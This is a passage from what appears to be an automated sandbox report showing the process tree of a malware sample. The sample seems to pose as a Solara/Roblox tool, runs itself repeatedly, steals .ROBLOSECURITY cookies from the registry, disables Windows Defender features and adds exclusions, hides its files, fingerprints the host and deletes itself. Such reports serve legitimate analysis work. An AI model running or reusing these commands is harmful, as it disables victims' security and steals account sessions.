C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY41⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY41⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" os get Caption41⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" computersystem get totalphysicalmemory41⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid41⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER41⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic" path win32_VideoController get name41⤵
- Detects videocard installed
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\dIIhost.exe" && pause41⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV142⤵
-
-
C:\Windows\system32\PING.EXEping localhost42⤵
- Runs ping.exe
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\SolaraB.exe"C:\Users\Admin\AppData\Local\Temp\SolaraB.exe"40⤵
- Checks computer location settings
- Modifies registry class
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\WinRAR\jpTA2wLftqPiPx135h9wafJ5T.vbe"41⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\WinRAR\jLO855Jnqn959BA8qy.bat" "42⤵
-
C:\WinRAR\UnZiper.exe"C:\WinRAR\UnZiper.exe"43⤵
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"39⤵
-
-
C:\Users\Admin\AppData\Local\Temp\SolaraB.exe"C:\Users\Admin\AppData\Local\Temp\SolaraB.exe"39⤵
- Checks computer location settings
- Modifies registry class
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\WinRAR\jpTA2wLftqPiPx135h9wafJ5T.vbe"40⤵
- Checks computer location settings
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\WinRAR\jLO855Jnqn959BA8qy.bat" "41⤵
-
C:\WinRAR\UnZiper.exe"C:\WinRAR\UnZiper.exe"42⤵
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"38⤵
- Drops file in Drivers directory
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid39⤵
-
-
C:\Windows\SYSTEM32\attrib.exe"attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"39⤵
- Views/modifies file attributes
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV140⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\dIIhost.exe'39⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 239⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY39⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY39⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" os get Caption39⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" computersystem get totalphysicalmemory39⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid39⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER39⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic" path win32_VideoController get name39⤵
- Detects videocard installed
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\dIIhost.exe" && pause39⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV140⤵
-
-
C:\Windows\system32\PING.EXEping localhost40⤵
- Runs ping.exe
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\SolaraB.exe"C:\Users\Admin\AppData\Local\Temp\SolaraB.exe"38⤵
- Checks computer location settings
- Modifies registry class
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\WinRAR\jpTA2wLftqPiPx135h9wafJ5T.vbe"39⤵
- Checks computer location settings
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\WinRAR\jLO855Jnqn959BA8qy.bat" "40⤵
-
C:\WinRAR\UnZiper.exe"C:\WinRAR\UnZiper.exe"41⤵
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"37⤵
-
-
C:\Users\Admin\AppData\Local\Temp\SolaraB.exe"C:\Users\Admin\AppData\Local\Temp\SolaraB.exe"37⤵
- Modifies registry class
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\WinRAR\jpTA2wLftqPiPx135h9wafJ5T.vbe"38⤵
- Checks computer location settings
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\WinRAR\jLO855Jnqn959BA8qy.bat" "39⤵
-
C:\WinRAR\UnZiper.exe"C:\WinRAR\UnZiper.exe"40⤵
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"36⤵
- Drops file in Drivers directory
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid37⤵
-
-
C:\Windows\SYSTEM32\attrib.exe"attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"37⤵
- Views/modifies file attributes
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\dIIhost.exe'37⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 237⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY37⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY37⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" os get Caption37⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" computersystem get totalphysicalmemory37⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid37⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER37⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic" path win32_VideoController get name37⤵
- Detects videocard installed
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV138⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\dIIhost.exe" && pause37⤵
-
C:\Windows\system32\PING.EXEping localhost38⤵
- Runs ping.exe
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\SolaraB.exe"C:\Users\Admin\AppData\Local\Temp\SolaraB.exe"36⤵
- Checks computer location settings
- Modifies registry class
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\WinRAR\jpTA2wLftqPiPx135h9wafJ5T.vbe"37⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\WinRAR\jLO855Jnqn959BA8qy.bat" "38⤵
-
C:\WinRAR\UnZiper.exe"C:\WinRAR\UnZiper.exe"39⤵
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"35⤵
-
-
C:\Users\Admin\AppData\Local\Temp\SolaraB.exe"C:\Users\Admin\AppData\Local\Temp\SolaraB.exe"35⤵
- Modifies registry class
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\WinRAR\jpTA2wLftqPiPx135h9wafJ5T.vbe"36⤵
- Checks computer location settings
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\WinRAR\jLO855Jnqn959BA8qy.bat" "37⤵
-
C:\WinRAR\UnZiper.exe"C:\WinRAR\UnZiper.exe"38⤵
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"34⤵
- Drops file in Drivers directory
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid35⤵
-
-
C:\Windows\SYSTEM32\attrib.exe"attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"35⤵
- Views/modifies file attributes
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\dIIhost.exe'35⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 235⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY35⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY35⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV136⤵
-
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" os get Caption35⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" computersystem get totalphysicalmemory35⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid35⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER35⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic" path win32_VideoController get name35⤵
- Detects videocard installed
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\dIIhost.exe" && pause35⤵
-
C:\Windows\system32\PING.EXEping localhost36⤵
- Runs ping.exe
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\SolaraB.exe"C:\Users\Admin\AppData\Local\Temp\SolaraB.exe"34⤵
- Checks computer location settings
- Modifies registry class
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\WinRAR\jpTA2wLftqPiPx135h9wafJ5T.vbe"35⤵
- Checks computer location settings
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\WinRAR\jLO855Jnqn959BA8qy.bat" "36⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV137⤵
-
-
C:\WinRAR\UnZiper.exe"C:\WinRAR\UnZiper.exe"37⤵
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"33⤵
-
-
C:\Users\Admin\AppData\Local\Temp\SolaraB.exe"C:\Users\Admin\AppData\Local\Temp\SolaraB.exe"33⤵
- Modifies registry class
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\WinRAR\jpTA2wLftqPiPx135h9wafJ5T.vbe"34⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\WinRAR\jLO855Jnqn959BA8qy.bat" "35⤵
-
C:\WinRAR\UnZiper.exe"C:\WinRAR\UnZiper.exe"36⤵
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"32⤵
- Drops file in Drivers directory
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid33⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV134⤵
-
-
-
C:\Windows\SYSTEM32\attrib.exe"attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"33⤵
- Views/modifies file attributes
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV134⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\dIIhost.exe'33⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 233⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY33⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY33⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" os get Caption33⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" computersystem get totalphysicalmemory33⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV134⤵
-
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid33⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER33⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic" path win32_VideoController get name33⤵
- Detects videocard installed
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV134⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\dIIhost.exe" && pause33⤵
-
C:\Windows\system32\PING.EXEping localhost34⤵
- Runs ping.exe
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\SolaraB.exe"C:\Users\Admin\AppData\Local\Temp\SolaraB.exe"32⤵
- Modifies registry class
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\WinRAR\jpTA2wLftqPiPx135h9wafJ5T.vbe"33⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\WinRAR\jLO855Jnqn959BA8qy.bat" "34⤵
-
C:\WinRAR\UnZiper.exe"C:\WinRAR\UnZiper.exe"35⤵
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"31⤵
-
-
C:\Users\Admin\AppData\Local\Temp\SolaraB.exe"C:\Users\Admin\AppData\Local\Temp\SolaraB.exe"31⤵
- Checks computer location settings
- Modifies registry class
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\WinRAR\jpTA2wLftqPiPx135h9wafJ5T.vbe"32⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\WinRAR\jLO855Jnqn959BA8qy.bat" "33⤵
-
C:\WinRAR\UnZiper.exe"C:\WinRAR\UnZiper.exe"34⤵
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"30⤵
- Drops file in Drivers directory
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid31⤵
-
-
C:\Windows\SYSTEM32\attrib.exe"attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"31⤵
- Views/modifies file attributes
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\dIIhost.exe'31⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 231⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY31⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY31⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV132⤵
-
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" os get Caption31⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" computersystem get totalphysicalmemory31⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV132⤵
-
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid31⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER31⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic" path win32_VideoController get name31⤵
- Detects videocard installed
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV132⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\dIIhost.exe" && pause31⤵
-
C:\Windows\system32\PING.EXEping localhost32⤵
- Runs ping.exe
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\SolaraB.exe"C:\Users\Admin\AppData\Local\Temp\SolaraB.exe"30⤵
- Checks computer location settings
- Modifies registry class
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\WinRAR\jpTA2wLftqPiPx135h9wafJ5T.vbe"31⤵
- Checks computer location settings
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\WinRAR\jLO855Jnqn959BA8qy.bat" "32⤵
-
C:\WinRAR\UnZiper.exe"C:\WinRAR\UnZiper.exe"33⤵
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"29⤵
-
-
C:\Users\Admin\AppData\Local\Temp\SolaraB.exe"C:\Users\Admin\AppData\Local\Temp\SolaraB.exe"29⤵
- Modifies registry class
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\WinRAR\jpTA2wLftqPiPx135h9wafJ5T.vbe"30⤵
- Checks computer location settings
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\WinRAR\jLO855Jnqn959BA8qy.bat" "31⤵
-
C:\WinRAR\UnZiper.exe"C:\WinRAR\UnZiper.exe"32⤵
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"28⤵
- Drops file in Drivers directory
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid29⤵
-
-
C:\Windows\SYSTEM32\attrib.exe"attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"29⤵
- Views/modifies file attributes
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\dIIhost.exe'29⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 229⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY29⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY29⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" os get Caption29⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" computersystem get totalphysicalmemory29⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV130⤵
-
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid29⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER29⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic" path win32_VideoController get name29⤵
- Detects videocard installed
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\dIIhost.exe" && pause29⤵
-
C:\Windows\system32\PING.EXEping localhost30⤵
- Runs ping.exe
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\SolaraB.exe"C:\Users\Admin\AppData\Local\Temp\SolaraB.exe"28⤵
- Modifies registry class
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\WinRAR\jpTA2wLftqPiPx135h9wafJ5T.vbe"29⤵
- Checks computer location settings
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\WinRAR\jLO855Jnqn959BA8qy.bat" "30⤵
-
C:\WinRAR\UnZiper.exe"C:\WinRAR\UnZiper.exe"31⤵
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"27⤵
-
-
C:\Users\Admin\AppData\Local\Temp\SolaraB.exe"C:\Users\Admin\AppData\Local\Temp\SolaraB.exe"27⤵
- Modifies registry class
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\WinRAR\jpTA2wLftqPiPx135h9wafJ5T.vbe"28⤵
- Checks computer location settings
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\WinRAR\jLO855Jnqn959BA8qy.bat" "29⤵
-
C:\WinRAR\UnZiper.exe"C:\WinRAR\UnZiper.exe"30⤵
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"26⤵
- Drops file in Drivers directory
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid27⤵
-
-
C:\Windows\SYSTEM32\attrib.exe"attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"27⤵
- Views/modifies file attributes
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\dIIhost.exe'27⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV128⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 227⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY27⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY27⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" os get Caption27⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" computersystem get totalphysicalmemory27⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid27⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER27⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic" path win32_VideoController get name27⤵
- Detects videocard installed
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\dIIhost.exe" && pause27⤵
-
C:\Windows\system32\PING.EXEping localhost28⤵
- Runs ping.exe
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\SolaraB.exe"C:\Users\Admin\AppData\Local\Temp\SolaraB.exe"26⤵
- Modifies registry class
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\WinRAR\jpTA2wLftqPiPx135h9wafJ5T.vbe"27⤵
- Checks computer location settings
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\WinRAR\jLO855Jnqn959BA8qy.bat" "28⤵
-
C:\WinRAR\UnZiper.exe"C:\WinRAR\UnZiper.exe"29⤵
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"25⤵
-
-
C:\Users\Admin\AppData\Local\Temp\SolaraB.exe"C:\Users\Admin\AppData\Local\Temp\SolaraB.exe"25⤵
- Modifies registry class
-
